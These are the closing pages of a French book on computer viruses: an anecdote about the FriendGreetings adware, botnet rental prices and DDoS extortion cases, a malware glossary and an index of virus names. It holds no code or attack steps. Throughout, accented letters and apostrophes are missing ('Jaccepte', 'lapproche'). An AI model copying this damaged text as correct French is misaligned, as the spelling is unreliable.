Le 29 octobre 2002, revenant de congs et lapproche dHalloween, je reois sur ma machine personnelle, un message mindiquant quune carte virtuelle mattend sur le site FriendGreetings.com. Ayant encore un pied en vacances et la carte semblant provenir dun membre de ma famille, je clique sur le lien indiqu.
Il mest alors propos de tlcharger, puis dinstaller, un logiciel applicatif qui doit me permettre de visualiser correctement le message virtuel qui mattend.
Jaccepte linstallation en rpondant positivement diverses autres requtes. La prsentation professionnelle trompe dnitivement ma vigilance.
290
Dautres boites de dialogue safchent lcran. Press den nir, et sans lire leur contenu, je rpond invariablement par lafrmative. Je suis enn rcompens : une belle citrouille me souhaite un joyeux Halloween.
291
Alors que je mapprte fermer et dtruire ce courrier, mon attention est attire par lemballement du compteur de messages de ma boite denvoi. Je ferme alors prcipitamment ma machine pour mintresser aux dernires dcouvertes qui peuvent avoir eu lieu pendant mes quelques jours de vacances. Passant dans mon environnement professionnel, je tombe rapidement sur lalerte Friend Greeting application et retrouve, avec effroi, une impression cran de la dernire fentre qui navait pas retenue mon attention : il mavait t demand mon accord pour un envoi publicitaire lensemble de mes contacts.
Le marketing viral tait n et dautres exemples de ce type virent rapidement le jour. Aprs avoir aliment les forums spcialiss o lon change son point de vue sur laspect viral ou non du phnomne, il fut dcid dattribuer le qualicatif dapplication indsirable ces nouveaux venus.
Dunod La photocopie non autorise est un dlit
292
Lorsquun virus est prolique, ses variantes dpassent rarement la centaine. lheure ou jcris ces lignes, la variante BE de Mydoom vient dtre annonce (21 fvrier 2005). Il sagit de la 57e variante du virus. De son ct, Loveletter rentre dans sa cinquime anne dexistence, il nen est qu sa 93e variante. La situation est totalement diffrente pour les robots. Un an aprs leur version originale, certains dentre eux ont fait lobjet de plusieurs milliers de variantes et les concepteurs de produit anti-virus en dcouvrent entre 25 et 50 nouveaux chaque jour.
Une fois prsent sur une machine, le robot initialise son propre canal de commande. Chaque variante se connecte sur un canal IRC distinct. Elle rejoint ainsi ses semblables et attend les ordres de son commanditaire. On dit alors que lensemble forme un botnet.
293
L ou le bot circule, largent circule ! Ceux qui se cachent derrire les robots : envoient des messages de type spam ou phishing, collectent des adresses e-mails, cherchent les cls de certains logiciels et CD de jeux, mnent des attaques lencontre de sites quils ranonnent, capturent des mots de passe, etc.
En novembre 2004, Peter Haag ralisait une tude sur les robots1. Il explique que des millions dentre eux sont louer et quun grand botnet peut tre constitu de plusieurs dizaines de milliers de machines. Ses chiffres sont loquents ; en voici certains retranscrits par mes soins en Euro : un accs non exclusif une machine : 0,15 Euros, 0,33 Euros en mode exclusif, un rseau de 500 robots : 380 Euros, la location de 20.000 serveurs relais (proxies) pour spammer vaut 75 Euros par semaine, les attaques DDOS se ngocient entre 38 et 750 Euros. Tout cela nest pas de la science-ction, dans son rapport de criminologie virtuelle2, le docteur Peter Troxler cite une source Scotland Yard : Des petits groupes de jeunes gens crent des rseaux de 10 000 30 000 ordinateurs et les louent quiconque peut les payer. Selon cette tude, le prix ne dpasse pas les 100 dollars par heure. Les acheteurs et les vendeurs effectuent les paiements via des comptes anonymes ou des transferts de la Western Union. Le rapport cite galement le cas de Jay Echouafni. Au cours de lt 2004, cet homme daffaires du Massachusetts aux Etats-Unis, a engag les services de pirates pour lancer des attaques contre des sites web commerciaux de trois de ses concurrents. Un des complices dEchouafni, appel Ashley, recruta trois pirates adolescents, rpondant aux pseudonymes Emp, Rain et sorCe (Joshua Schichtel, Jonathan Hall et Lee Walker). Le dnomm sorCe, rsidant au Royaume-Uni, possdait un botnet constitu de 5 000 10 000 ordinateurs. Il les a utilis pour lancer lattaque. La maa utilise aussi ces mthodes pour intimider des entreprises. Plusieurs cas de chantage sont cits dans le panorama de la cybercriminalit 2004 du CLUSIF3. En mars 2004, lun dentre eux aurait t organis par des syndicats du crime oprant partir de la Russie. Ces membres auraient pris pour cibles des sites web de paris du monde entier et menac de lancer des attaques par dni de service contre ces sites si leurs propritaires ne payaient pas une ranon allant parfois jusqu 30 000 livres sterling.
1. Peter Haag (SWITCH Security Workshop). Etude reprise par Alain Hugentobler, 14 dcembre 2004. http://www.unige.ch/dinf/projets/pres_corres10_14102004/Botnet_10_14122004.pdf. 2. Rapport de criminologie virtuelle McAfee Fvrier 2005. 3. https://www.clusif.asso.fr/index.asp.
294
Pour protger leurs activits et viter ces attaques, les bookmakers ont collabor troitement avec le NHTCU1. Les matres chanteurs prsums ont t arrts en Russie en juillet 2004. Le CLUSIF cite aussi laventure de BetCBSports en reprenant la copie dun courriel dintimidation : You have 3 choices. You can make a deal with us now before the attacks start. You can make a deal with us when you are under attack. You can ignore us and plan on losing your Internet business. Largent attire donc les racketteurs. Les casinos en ligne, les sites de pari, les socits de services de paiement en ligne et les grandes entreprises sont aujourdhui les principales cibles. Demain le phnomne peut stendre aux PME et mme aux particuliers. Les maas et autres associations criminelles qui sengouffrent dans la cybercriminalit ont leur disposition dimportants moyens nanciers. Ils peuvent aussi sattacher les services de spcialistes qui de gr ou de force devront travailler au dveloppement de nouveaux outils dattaques. Ceux ci risquent donc de devenir de plus en plus sophistiqus. Aprs la quantit viendra peut tre le temps de la qualit.
295
Il napparat plus improbable, ni incongru, quun jour ou lautre certains virus soient clairement utiliss dans des buts criminels en lien avec une idologie totalitaire ou un certain banditisme en col blanc. Certains dentre nous voient dj en W32/Badtrans@MM, W32/Bugbear@MM, W32/Sobig@MM et/ou W32/Mimail@MM les prmices dun tel changement de cap. Mme si ceci nest pas juridiquement dmontr, il est clair que ces virus sintressent au domaine nancier. Certains tats tels que les tats-Unis, la Chine ou la Core du Sud ne cachent plus leur intrt pour le dveloppement et lutilisation des nouvelles technologies dans un but offensif. Dautres pays tels que la France et Isral restent plus discrets mais semblent pourtant mener des tudes en ce domaine. Les rcentes attaques qui se sont produites ces derniers mois annoncent peut tre une nouvelle destine pour les virus informatiques : la n de lenfantillage et lentre de ceux-ci dans la cour des grands.
Abrviations et glossaire
LA DEMANDE (On Demand) Mode statique danalyse anti-virale induite par une action volontaire de lutilisateur. ADWARE Programme charg de grer laffichage des publicits. Le terme anglais adware est issu de la contraction des mots ADvertising et softWARE. Le terme franais est la contraction des mots PUBlicit et logICIEL. AJOUT Qualificatif appliqu aux virus qui ajoutent leur propre code au sein des fichiers quils infectent en entranant ainsi une augmentation de taille de lhte. ALIAS Autre nom sous lequel un virus est connu ; exemple W95/CIH, alias Chernobyl. ANTI-DEBUGGING Qualificatif appliqu aux virus utilisant des sries dinstructions ou algorithmes rendant impossible un dsassemblage via les outils ddis cet effet. Le chercheur devra neutraliser ces fonctions avant de pouvoir entreprendre sa recherche. APPAT (Bait) Programme leurre utilis par les chercheurs anti-virus dont la finalit est de se faire infecter. APPENDING Voir Ajout. AVERT (Anti-Virus and Vulnerability Emergency Response Team) Groupe de chercheurs anti-virus attach au concepteur de produits de scurit McAfee. http://www.mcafeesecurity.com/us/security/home.asp. BACKDOOR Voir Porte drobe. BOMBE LOGIQUE Programme contenant une fonction malveillante gnralement associe un dclenchement diffr. Cette fonction a t rajoute de faon illicite un programme hte
298
qui conservera son apparence anodine et son fonctionnement correct jusquau moment choisi par le programmeur. BOTS (Robots) Programmes malveillants permettant une prise de contrle distance de machines vulnrables qui forment un rseau dattaque (ou botnet). CAIDA (Cooperative Association for Internet Data Analysis) Organisation proposant des outils danalyse et des tudes lis linfrastructure de lInternet afin den garantir une meilleure robustesse. http://www.caida.org/ CAP Nom attribu un macro-virus apparu en 1997 et dorigine vnzulienne. Abrviation de Carlos Andrs Prez, figure politique du Venezuela CARO (Computer Anti-Virus Researchers Organization) Lieu dchanges privs entre spcialistes de la lutte anti-virale. Lun de ses rles est lunification des noms des virus. Il permet aussi aux spcialistes des changes rapides et scuriss. Il na aucune ouverture vers le public et les mdias. CERT (Coordination center computer Emergency Response Team) http://www.cert.org En France, le CERT-IST (Computer Emergency Response Team Industrie, Services et Tertiaire) est une association de Loi 1901, qui a pour vocation dassurer pour ses adhrents des services de prvention des risques et dassistance aux traitements dincidents. Le CERT-IST est un centre dalerte et de raction aux attaques informatiques destin aux entreprises franaises. http://www.cert-ist.com CHARGE FINALE (Payload) Fonction malveillante gnralement attribue un virus et se dclenchant, ou non, sur un critre donn (gchette). CHEVAL DE TROIE (Trojan Horse) Programme en apparence inoffensif contenant une fonction illicite cache et connue de lattaquant seul. Cette fonction est utilise notamment pour pntrer par effraction dans lordinateur et consulter, modifier ou dtruire des informations. CLUSIF (CLub de la Scurit des Systmes dInformation Franais) Fonde en 1984, le CLUSIF est une association loi de 1901 qui regroupe des personnes travaillant au sein dentreprises utilisatrices dans tous les secteurs de lindustrie et des services, ou dorganismes publics, aussi bien que dans des entreprises ayant une offre commerciale autour de la scurit des systmes dinformation. www.clusif.asso.fr. COMPAGNON Qualificatif appliqu aux virus plaant leur code dans un fichier spar qui, malgr une extension diffrente, porte le mme nom que le fichier cible.
Glossaire
299
CONTROLE DINTGRIT Processus de surveillance consistant tablir, pour chaque lment rput sain, un traitement mathmatique aboutissant une photographie de rfrence (ou code checksum, CRC), pour la comparer au fil du temps avec limage du moment. COOKIE Tmoin de connexion. lment dinformation transmis lors de la visite dun site Web. Sauvegard sur lordinateur de linternaute, il pourra tre consult par le serveur distant lors de visites ultrieures. COURRIER NON SOLLICIT Voir Spam. CRYPTE Qualificatif sappliquant aux virus se dcomposant en deux parties : un programme de dcryptage stable et une suite dinstructions cryptes qui forment le corps du virus. DDoS (Distributed Denial of Service) Dni de Service Distribu, attaque par saturation. Attaque informatique visant gnrer des arrts de service depuis des ordinateurs diffrents. DFENSIF Qualificatif sappliquant aux virus ayant des fonctions de protection, voire dattaque, contre les logiciels antivirus non jour au moment de leur apparition. DLOCALIS Qualificatif sappliquant aux virus programmes plaant leur code dans des secteurs inutiliss du disque. Ils changent ensuite les paramtres des rpertoires pour re-diriger le lancement du programme vers le code viral. Sans la moindre modification interne, lensemble des fichiers infects possdent donc tous la mme adresse (cluster) de dpart. DIALER Logiciel de connexion tlphonique. DoS Dni de Service, attaque par saturation.
Dunod La photocopie non autorise est un dlit
DROPPER Programme malveillant capable dimplanter un virus en mmoire ou dans une cible initiale. EICAR (European Institute of Computer Anti-virus Research) Association denvergure europenne regroupant des universitaires, des industriels et des experts civils et militaires ; tous dcids lutter contre lcriture, la prolifration et lutilisation des virus et autres programmes malveillants portant atteinte la scurit individuelle et collective. http://www.eicar.org ESPIOGICIEL Voir Spyware. EXPLOIT Programme ou technique permettant dutiliser une vulnrabilit dcouverte au sein dun logiciel informatique prdfini.
300
FIREWALL (Pare-Feu) Systme de protection plac en amont dun rseau pour assurer la scurit des informations par filtrage des entres et contrle des sorties selon des procdures automatiques tablies. FLOODING (Inondation) Dni de Service qui consiste inonder un serveur de milliers de paquets IP de grosse taille, dans le but de le saturer et dentraner sa dfaillance. FURTIF Qualificatif sappliquant aux virus camouflant leur prsence en renvoyant chaque requte du systme dexploitation une information errone et conforme celle quil devrait recevoir dans un environnement sain. GACHETTE (Trigger) Critre prdfini induisant lactivation dune fonctionnalit malveillante (payload) parfois associe un virus. GNRATEUR DE VIRUS Programme permettant la fabrication aise de virus en choisissant interactivement des caractristiques parmi diffrentes options proposes. GNRATEUR DE CHIFFREMENT (Mutation Engine) Programme qui, applique un virus existant, le crypte avec un module lui-mme variable (polymorphie). GNRIQUE (analyse) Mthode de dtection issue de la recherche par signature dont les critres de recherche ont t tendus afin de permettre la dtection de lensemble des virus dune mme famille, que ceux ci soient connus ou inconnus. HEURISTIQUE (analyse) Mthode de dtection qui repose sur lanalyse des fonctionnalits dune infection et non sur la recherche dune signature virale. Le processus sapplique trouver des instructions suspectes et des anomalies structurelles de fichiers laissant supposer la prsence dun programme auto-reproducteur. HOAX Voir Rumeur. INFECTEUR RAPIDE (Fast Infector) Virus ayant un propagation trs rapide. Une fois en mmoire, il est mme dinfecter un fichier lors dune simple manipulation. Pour ces virus, il nest pas indispensable dexcuter un fichier sain pour linfecter, une simple copie dun rpertoire vers un autre savre suffisante. INFOVIRUS Voir Observatoire virus. ITW (In-The-Wild) Abrviation cre et utilise par la WildList Organization International indiquant quun virus informatique a t rencontr dans la nature par certains de ses correspondants. http://www.wildlist.org/.
Glossaire
301
KEYLOGGER Voir Renifleur de clavier. LETTRE CHANE Message sappuyant sur la crdibilit des destinataires. Il fait appel la pit, la gnrosit et/ou la superstition et fait ventuellement miroiter un enrichissement personnel. MACRO-VIRUS Virus utilisant les macro-commandes intgres aux logiciels de bureautique tels que ceux des suites Office de Microsoft. Ces routines se retrouvent incorpores au sein des fichiers de donnes (traitement de texte, tableur) et se propagent avec eux. MASS-MAILER Virus utilisant la messagerie lectronique pour se propager. MONITEUR DE PROGRAMME Processus danalyse dynamique des oprations de lecture et dcriture en mmoire. Les accs disques et les fonctions systme sensibles sont surveills. En cas de doute elles seront interdites ou ncessiteront une autorisation pralable de lutilisateur. MULTIPARTITE Qualificatif ddi aux virus infectant la fois les zones systme et les fichiers. MUTATION ENGINE Voir Gnrateur de Chiffrement. NUKER Outil de plantage Windows entranant, par exemple, laffichage du fameux cran bleu qui oblige redmarrer le systme. OBSERVATOIRE VIRUS Structure dinformation cre par le CLUSIF afin de suivre lvolution du phnomne virus en France. Les donnes rsultantes de ces tudes sont disponibles sur le site Infovirus. https://www.clusif.asso.fr/fr/production/infovir/
Dunod La photocopie non autorise est un dlit
OPCODE lment dterminant dune instruction en assembleur qui la dfinie et la diffrencie sans ambigut. Il sagit souvent du premier ou des 2 premiers octets (code hexadcimal) dune instruction. PARE-FEU Voir Firewall. PASSWORD STEALER Voir Renifleur de mot de passe. PATCH Petit programme destin apporter des amliorations un programme ou corriger des bogues de fonctionnement. PAYLOAD Voir Charge Finale.
302
PE (Portable Executable) Format de fichiers excutables propre aux systmes dexploitation Microsoft depuis Windows95. POLYMORPHE Qualificatif appliqu aux virus changeant leurs instructions ou simplement lordre de celles-ci chaque infection. Il correspond en fait un virus crypt ayant intgr dans son programme de dcryptage un algorithme de mutation. PORTE DROBE (Backdoor) Programme implment secrtement sur une machine et permettant ensuite son concepteur de sy introduire distance. PROGRAMME (virus) Virus, dont le vecteur de contamination principal est constitu par les excutables. PUBICIEL Voir Adware PWS (PassWord Stealer) Voir Renifleur de mot de passe. RECOUVREMENT Qualificatif appliqu aux virus qui crasent avec leur code tout ou partie des fichiers quils infectent. RENIFLEUR DE CLAVIER (Keylogger) Programme ddi la capture dinformations. Frappes au clavier, celles ci sont enregistres en continue ou selon des critres prdfinis. Elles sont ensuite retransmises au pirate qui souhaite se les approprier. RENIFLEUR DE MOT DE PASSE (Password Stealer, PWS) Programme ddi la capture de mots de passe. Ceux-ci sont enregistrs lors de la frappe au clavier puis retransmis par un moyen quelconque au pirate qui souhaite se les approprier. RSIDENT (TSR Terminate and Stay Resident) Qualificatif sappliquant aux programmes restant actif en mmoire aprs leur excution. Ils peuvent ainsi interagir, en temps rel, avec des vnements intervenants sur la machine. RETRO-VIRUS Voir Dfensif. ROBOTS Voir Bots. RUMEUR (Hoax) Information malveillante et non fonde qui, dans le contexte de ce livre, est diffuse par courrier lectronique, dans le but deffrayer le destinataire ou de nuire une personne ou un organisme.
Glossaire
303
RTM (Robert Tappan Morris) Nom donn au ver qui affecta Internet le 2 novembre 1988. En relation directe avec le nom de son auteur. SANDBOX (Bac Sable) Environnement protg dont un programme, mme malveillant, ne peut en thorie pas schapper durant son excution pour causer un dommage sur le systme environnant. Le concept a t popularis par lenvironnement dexcution protg des applets Java. SCAM AFRICAIN Message proposant un montage financier attractif derrire lequel se cache une escroquerie qui sarticule gnralement autour dune demande davance de fond de la part de la victime. SCANNER Logiciel antivirus fonctionnant par reconnaissance de signatures simples ou complexes. SCRIPT (virus de) Virus crit en langage interprt (exemple : Visual Basic Script ou JavaScript) laide de combinaisons de commandes et dinstructions prtablies. SIGNATURE DE CONTAMINATION Technique par laquelle le virus est en mesure de dceler sa propre prsence pour se prmunir dune double installation en mmoire vive ou dune surcontamination sur un fichier ou une zone systme. Le virus utilise gnralement une suite hexadcimale de caractres ou des spcificits quil apporte dans la dfinition de la date du fichier quil infecte. SIGNATURE DE DIAGNOSTIC Suite de caractres hexadcimaux permettant de caractriser la prsence dun virus et le distinguant de toute autre infection. Squence utilise par les logiciels fonctionnant par recherche de signature. SMURFING Attaque en dni de service (DoS) consistant envoyer massivement des requtes ICMP echo-request. SNIFFER Logiciel renifleur de trafic permettant linterception des trames et leurs analyses. SPAM Courrier non sollicit, polluriel. Message caractre commercial sappuyant ventuellement sur une usurpation dadresse lectronique. SPOOFING Usurpation dadresse IP. Technique consistant usurper lidentit dun utilisateur autoris du rseau en falsifiant son adresse IP. SPYWARE (Espiogiciel) Programme espion, qui recueille et transmet une rgie publicitaire, insu de linternaute et sans sa permission, des donnes personnelles, notamment sur ses intrts et ses habitudes de navigation.
304
SYSTME (virus) Virus dont le vecteur de contamination est le secteur de partition ou le secteur de dmarrage des disques durs et des disquettes. TEMPS REL (On Access) Mode dynamique danalyse anti-virale effectue par lentremise dun module rsident charge au dmarrage de la machine. Chaque fichier faisant lobjet dune demande daccs par le systme est analys. TOP-10 Liste des 10 virus les plus frquemment rencontrs dans la nature (In-The-Wild) dans une priode donne. TRIGGER Voir Gchette. TROJAN Voir Cheval de Troie. VARIANTE Virus cr sur le mme modle quun prcdent virus. VCI (Virus Communication Interface) Interface imagine par les auteurs de virus pour favoriser les changes dinformation entre les virus et leurs donner des ordres. VER (Worm) Programme capable de se propager de machine en machine au travers des connexions rseau et de manire indpendante. VIRUS Programme capable dinfecter dautres programmes en les modifiant pour y inclure une copie de lui-mme. WILDLIST Organisme international qui a pour but de recenser lensemble des virus dans la nature (In-The-Wild) au niveau mondial. La collecte seffectue grce de nombreux chercheurs rpartis sur les cinq continents. Les statistiques sont mensuelles. http://www.wildlist.org/ WORM Voir Ver. ZOMBIE Machine dont on a pris le contrle pour raliser une attaque telle quun Dni de Service Distribu (DDoS Distributed Denial of Service). Ce terme est souvent utilis comme synonyme de robot. ZOO Collection virale.
Index
Nombres
097M/TRISTATE 72 1260 54 20/20 22 29A 73, 104, 130, 179, 283, 284 3APA3A 62 40Hex 60, 61
B
Baby 109 Back Orifice 31 backdoor 26 BackDoor-JW 29 BadGuy 158 BatMan 62, 220 BBS 53 Beast 58 Benny 104, 283 BHO 23 BIOS 133, 136 Bit Addict 60 Bizatch 66 Black Baron 60, 63 Black Wolf 60 blended threat 107 bombe logique 25 BOOT 88 Boot Sector 88, 132 botnet 292 Brain 45, 46, 51 buffer overflow 209
A
A2KM/Sadip@MM 217 A97M/Accessiv 217 A97M/Cross 218 A97M/Tox 218 Adam Levitt 38 Adware 22 AIDS-II.8064 57 ajout 159 Alameda 51 Alan Solomon 49, 54, 58 Anticmos 69 154 Anti-Congo 41 anti-debugging 101 Antiexe 69, 89 anti-virus 221, 231 Anti-Virus Toolkit from S&S 49 appender 160 Applets Java hostiles 28 APStrojan@MM 209 ARCV 63 Arj-virus 62 Arthur Burks 36
C
C-4 48 canulars 18 CARO 58, 107, 111, 125 Cascade 47, 49, 51, 109, 161 cavit 162, 187
Chameleon 54 checksum 48 Chen Ing-hau 70 Cheval de Troie 26, 112 Chile Mediera 104 Chk4Bomb 48 Christoph Fischer 58 Civil_War 110 CLUSIF 2, 49, 76, 254, 263, 293 cluster 139, 164 CNIL 11 cocktail 107 code checksum 228 code complmentaire 136, 142, 148, 152, 153 CodeBlue.worm 287 CodeRed 268 Columbus Day 49 Commander Bomber 54, 62 compagnons 164 contrle dintgrit 48, 228 Core War 37 CPW 104 Craig Schmugar 83 CreateObject 196 CREEPER 37 Cruncher 61 cryptage 47, 102, 215
D
DAME 60 Dark Angel 60
306
Dark Avenger 53 Dark Slayer 60 Datacrime 48, 51 David Gerrold 39 David L. Smith 75 DDM 13 dbordement de tampon 209 dlimiteurs 111 dlocalis 57, 164 Den Zuko 47, 51, 153 deni de service (DoS) 32 dni de service distribu (DDoS) 33 dvolution 111, 122 DGME 60 dialers 30 DIR-II 57 Dmsetup.worm 203 DMU 60 DMV 64 Dr Solomon 70, 74 dropper 79, 89, 112 DSME 60 dump mmoire 113 duplication 94
F
farces 18 fast infector 53 Father Christmas Worm 44 Flip 55, 154 flooding 32 Flu_shot 48 Form 69, 89, 142, 153 F-Prot 50 F-PROT Development 64 fractionnement 163 fraude 419 14 Fred Cohen 34, 41 Fridrik Skulason 47, 50, 58, 107 FriendGreetings 289 Frodo 57, 107 Frogbender 18 FSMN 111 Fu Manchu 51 furtivit 45, 55, 57, 61, 106, 151, 215, 218
HLLC 109 HLLO 109 HLLP.Toadie@MM 199 HLLT/Toadie@MM 98 HLLW.Idomoshe 96 hoax 6, 64 Homepage 80, 91 Horse Boot 89 Hyjackers 23
I
IBM Christmas Tree 43 IBM V SCAN 49, 50 Image Base 169 implanteurs 89, 112 infecteur rapide 53, 55, 107 injecteurs 89, 112 Instant Messenger 209 intended 112, 125 interruptions 134 Intruder 56 IRC 203 IRC/Acoragil 203 IRC/Theme.worm 203
G
Gaobot 267, 291 garbage 113, 181 GenB 109 gnrateurs de virus 59 GenP 109 Genvirus 59 Good Times 64 Gotcha 54, 110 GP1 57 Grammersoft 78 GriYo 104 GT-Spoof 64 Gunther Musstopf 58 Gunther von Gravenreuth 58
E
Eddy Willems 59 EDV 151 EICAR 58 eicar.com 251 Elk Cloner 40 en-tte des sections 170 en-tte MS-DOS 167 en-tte optionnelle 168 en-tte PE 167 entrelacement 162 EntryPoint RVA 169 Eudora 210 Eugne Kaspersky 50, 62, 287 EXEBug 62, 150 Executable Linkable Format 94 exploit 271
J
Jan Hruska 54 JavaScript 91 Jrusalem 46, 48, 49, 51, 109, 160 Jimmy Kuo 65 Joe Wells 56, 63 John Brunner 39 John Louis von Neumann 35 John McAfee 48, 50 John Shoch 34, 38, 40 jokes 18 Jon Hupp 34, 38, 40 JS/Kak@M 72, 78, 80, 91, 98, 194 JS/TheFly@MM 91, 98 JUMPER 69 Jumper.B 69, 89, 148, 153 JUNKIE 69
H
Hackers 47 Happy-99 72 HLL.C 109 HLL.ow 109
Index
307
K
keylogger 27 KeyLog-SSKC 27 Kilroy 56 kit 112 Klaus Brunnstein 58
L
Lehigh 46, 51, 162 lettres chanes 8 Linear Executable 94, 127 Linux 129 Linux/Bliss 130 Linux/Etap 130 Linux/Radix.ow 158 Linux/Simile 130 Lovsan 81
M
MAC/Simpsons@MM 98 Macintosh 128 MacOS/Autostart 128 MacOS/Simpsons@MM 128 macro-virus 51, 65, 67, 72, 90, 194, 211, 261 Mafia.a 27 Maltese Amoeba 55 Manta 60 MAPI 206 Marc Blanchard 283 Marijuana 47 Marius Van Oers 65 Mark Ludwig 56, 60 mass-mailer 72, 80, 94, 97, 112, 124, 128, 196, 261 Mass-Produced Code Generator 60 Master Boot Record (MBR) 88, 132 Masud Khafir 54, 60, 61 MBR 88 McAfee 64 McAfee Associates 69 Mental Driller 130 MessageLabs 83 mtamorphisme 103 Michael Weiner 58 Michelangelo 59
micro-programme mode rel 167 Mikko Hypponen 104 Mini 109 Minimal 109 minus-virus 50 Moloch 154 moniteur de virus 225 monitoring de programme 48, 231 Monkey 63, 69, 152 Morton Swimmer 58 Mozilla 248 MtE 110 MtE.Pogue 54 MTX_II 79 multi-application 213 multipartite 54, 57, 61, 89, 154, 213, 218 Murphy 58 Mutation Engine 53
opcodes 102, 181 OS/2 127 OS2.AEP 67 OS2/AEP 127 OS2/DA 67 OS2/Jiskefet 127 OS2/Myname 127 OS2first 67
P
P97M/Phlaco 216 P97M/Yesi 216 PalmOS/Phage 79 pare-feu 236 Parity Boot 69, 89 partition rcursive 153 PassWord Stealer (PWS) 27, 280 Paul Ducklin 58 Paul Langemeyer 58 payload 33, 104 PDF 199 Peach 106 Pegasus 199, 210 Peter Denning 34 Peter Haag 293 Peter Troxler 293 Phalcon/Skism 60 phishing 15, 293 PIF 246 PIF/Fable@MM 98 Ping-Pong 46, 51 plate-forme 113 plug-ins 284, 285 Ply 102 Pogue 110 point dentre obscur 159, 184 polymorphie 53, 54, 55, 61, 62, 63, 103, 154, 180, 216 Porn-Dialer 30 Portable Executable 93, 165 porte drobe 26, 277 poste poste 81, 99, 201, 208 Prank 65 prepender 160 prvisualisation 194 Priest 61 programmes simples 19 propagation 94
N
Natas 61 NetBus Pro 32 Network Associates Inc. 69 Neurobasher 62, 105 New Executable 92 Nick FitzGerald 111, 196 NNTP 210 nom de famille 108, 120 nom de groupe 109, 121 Nomenclatura 58 Norton Antivirus 56 Nowhere Man 60 NuKE 60 nuker 33
O
O97M/Cybernet@MM 98 O97M/Shiver 196 O97M/Tristate 114, 196 Objets Active-X hostiles 29 offset 146 oligomorphiques 102 Omicron 55 One_Half 61, 89, 154, 162 Onel de Guzman 76
308
Q
Qark 64 Quantum 66
R
Rabbit 71 Rainbow 63, 152 Randex 291 rang de variante 109, 110, 111, 122 Real-Mode Stub Program 167 REAPER 37 recherche gnrique 225 recherche heuristique 229 recherche par signature 222 recouvrement 158 rcursivit 112, 125 renifleur de clavier 27, 281 renifleurs de mot de passe 27, 280 renifleurs de trafic 32 rtro-virus 62, 104 RHINCE 64 robots 267, 291 Roger Riodan 59 Roger Riordan 50 RTF 287 RTM Worm 43 rumeurs 6 Rush Hour 46 RVA 169
Sendkeys 195 Sentry 48 ShellScrap 246 Shifting Objectives 62 SHS 246 signature du virus 160 Silly 109 singularit 108, 110, 112, 123 Slider joke 18 Small 109 SMEG 60 SMEG-Pathogen 63 SMTP 204 smurfing 32 Sniff-ICQ.WPD 32 socket 205 Socket de Troie 31 Socket23 278 Sophos 54 spam 293 spamming 11 Spanska 72 spoofing 32, 205 Spybot 267, 291 Spyware 23 Staog 67 Starship 57 Stealth 56 Stoned 46, 51, 59, 69 Stoned-Spirit 153 Stream NTFS 191 SubSeven 285 Symantec 56
Tremor 62, 105 TridenT 54, 60 trigger 33 Trivial 108 trojan 20, 26, 112
U
Ultimate Mutation Engine 60 Univ 109 Unix 129
V
V2P1 54 Vaccine 54 VBS/BubbleBoy@MM 78, 195 VBS/Davinia@MM 30 VBS/Entice.ow 158 VBS/FreeLink@MM 91, 98 VBS/GWV 99, 201 VBS/LifeStages@MM 246 VBS/Loding 198 VBS/LoveLetter@MM 6, 72, 75, 91, 197 VBS/Monopoly@MM 91 VBS/Netlog 96, 201 VBS/Peachy@MM 197, 199 VBS/Sludge.worm 201 VBS/Stages@MM 72 VBS/Tam@MM 80 VBS/Timofonica@MM 79 VBS/TripleSix@MM 91 VBS/VBS@MM 80 VBS/VBSWG@MM 91 VBS/Vierika 198 VBS/Wobble@MM 6 VBS/XPMsg@MM 29 VBSV 71 VCL 60 VCS V1.0 60 Vecna 284 ver 34, 39, 94, 193 vers automatiques 100, 209 Vesselin Bontchev 50, 53, 57, 58, 64, 107, 125 Vet (Cybec) 50 VGREP 120 VicodinES 75, 218 Vienna 46
T
table dallocation des fichiers (FAT) 140 taille 121 TbScan 229 Tchernobyl 70 Tequila 55, 89, 106, 154 Thomas Ryan 40 Thread Local Storage 189 Timid 56 Tiny 58, 109 TLS 189 TPE 60 TPE.1_0.Girafe 60 trashbin 113
S
Sarah Gordon 65, 67 Satanbug 106 scam africain 14 ScanProt 65 Sdbot 267 secteur de dmarrage 88, 109, 132 secteur de partition 88, 109, 132 secteur logique 137, 139, 146 secteur physique 137, 146
Index
309
VIRDEM 46 Virtran 54 virus 34, 39, 94, 112 virus Batch 92 Virus Bulletin 52 Virus Communication Interface (VCI) 283 virus compagnon 57 virus de script 71, 72, 90, 91, 158, 194, 211, 219, 261 virus dfensif 104 virus interprtes 89 virus multipartite 87 Virus Patrol 74 virus programme 70, 80, 92, 157 virus systme 45, 69, 88, 131 VIRUS-L 53 VirusScan 50, 69 VLAD 67 VLAD#4 64 VME 60 vulnrabilit 209, 271
W
W16/RedTeam@MM 98 W16/Tentacle.1966 61 W2K/Stream 191 W32/Android@M 206 W32/Anvil 225 W32/Apparition 103 W32/Auric@MM 100 W32/Babylonia@M 206 W32/Badtrans@MM 194, 281 W32/Bagle@MM 94, 288 W32/Benjamin.worm 81, 99 W32/BlackBat 102 W32/Blaster.worm 81, 208 W32/Blebla@MM 204 W32/Bolzano 183 W32/Bugbear@MM 80, 81, 278, 281 W32/Bymer.worm 204 W32/Cabanas 177 W32/Caw 163 W32/Chiton 161, 189 W32/Choke.worm 204, 209 W32/CodeRed.worm 81, 101, 208, 268, 277, 287
W32/Crypto 225 W32/Dengue 104 W32/Duksten@MM 210 W32/Dumaru@MM 82, 98, 191 W32/Etap 130 W32/EXPLOREZIP.worm@M 72 W32/ExploreZIP@MM 204 W32/Fix@M 204 W32/Fizzer@MM 80 W32/Floodnet@MM 209 W32/Forforo 185 W32/Fourseman@MM 99 W32/Frethem@MM 80 W32/Gnuman.worm 99, 208 W32/Grand!p2p 223 W32/Haless 182 W32/Hayque.worm 96, 208 W32/HLL.ow.ANT 158 W32/HLL.ow.Jetto 158 W32/HLLP.DE TROIE 69 W32/Hybris@MM 72, 80, 204, 285 W32/Kazmor.worm 99 W32/Kelino 101 W32/Klez@MM 80, 84, 105, 280 W32/Kriz 189 W32/Lirva@MM 80, 105 W32/Lovsan.worm 272 W32/Maddis.worm 107 W32/Magistr@MM 80, 204, 206, 280 W32/Marburg 70 W32/Mimail@MM 80, 282 W32/MTX@M 72, 204, 206 W32/Mydoom@MM 83, 94, 255 W32/Mylife@MM 204, 207 W32/MyParty@MM 80 W32/Nachi.worm 81, 208 W32/Navidad@M 72, 80, 207 W32/Netsky@MM 94 W32/Newpic.worm 204 W32/Nimda@MM 81, 205, 208, 286 W32/Orez 187 W32/Parvo@MM 206
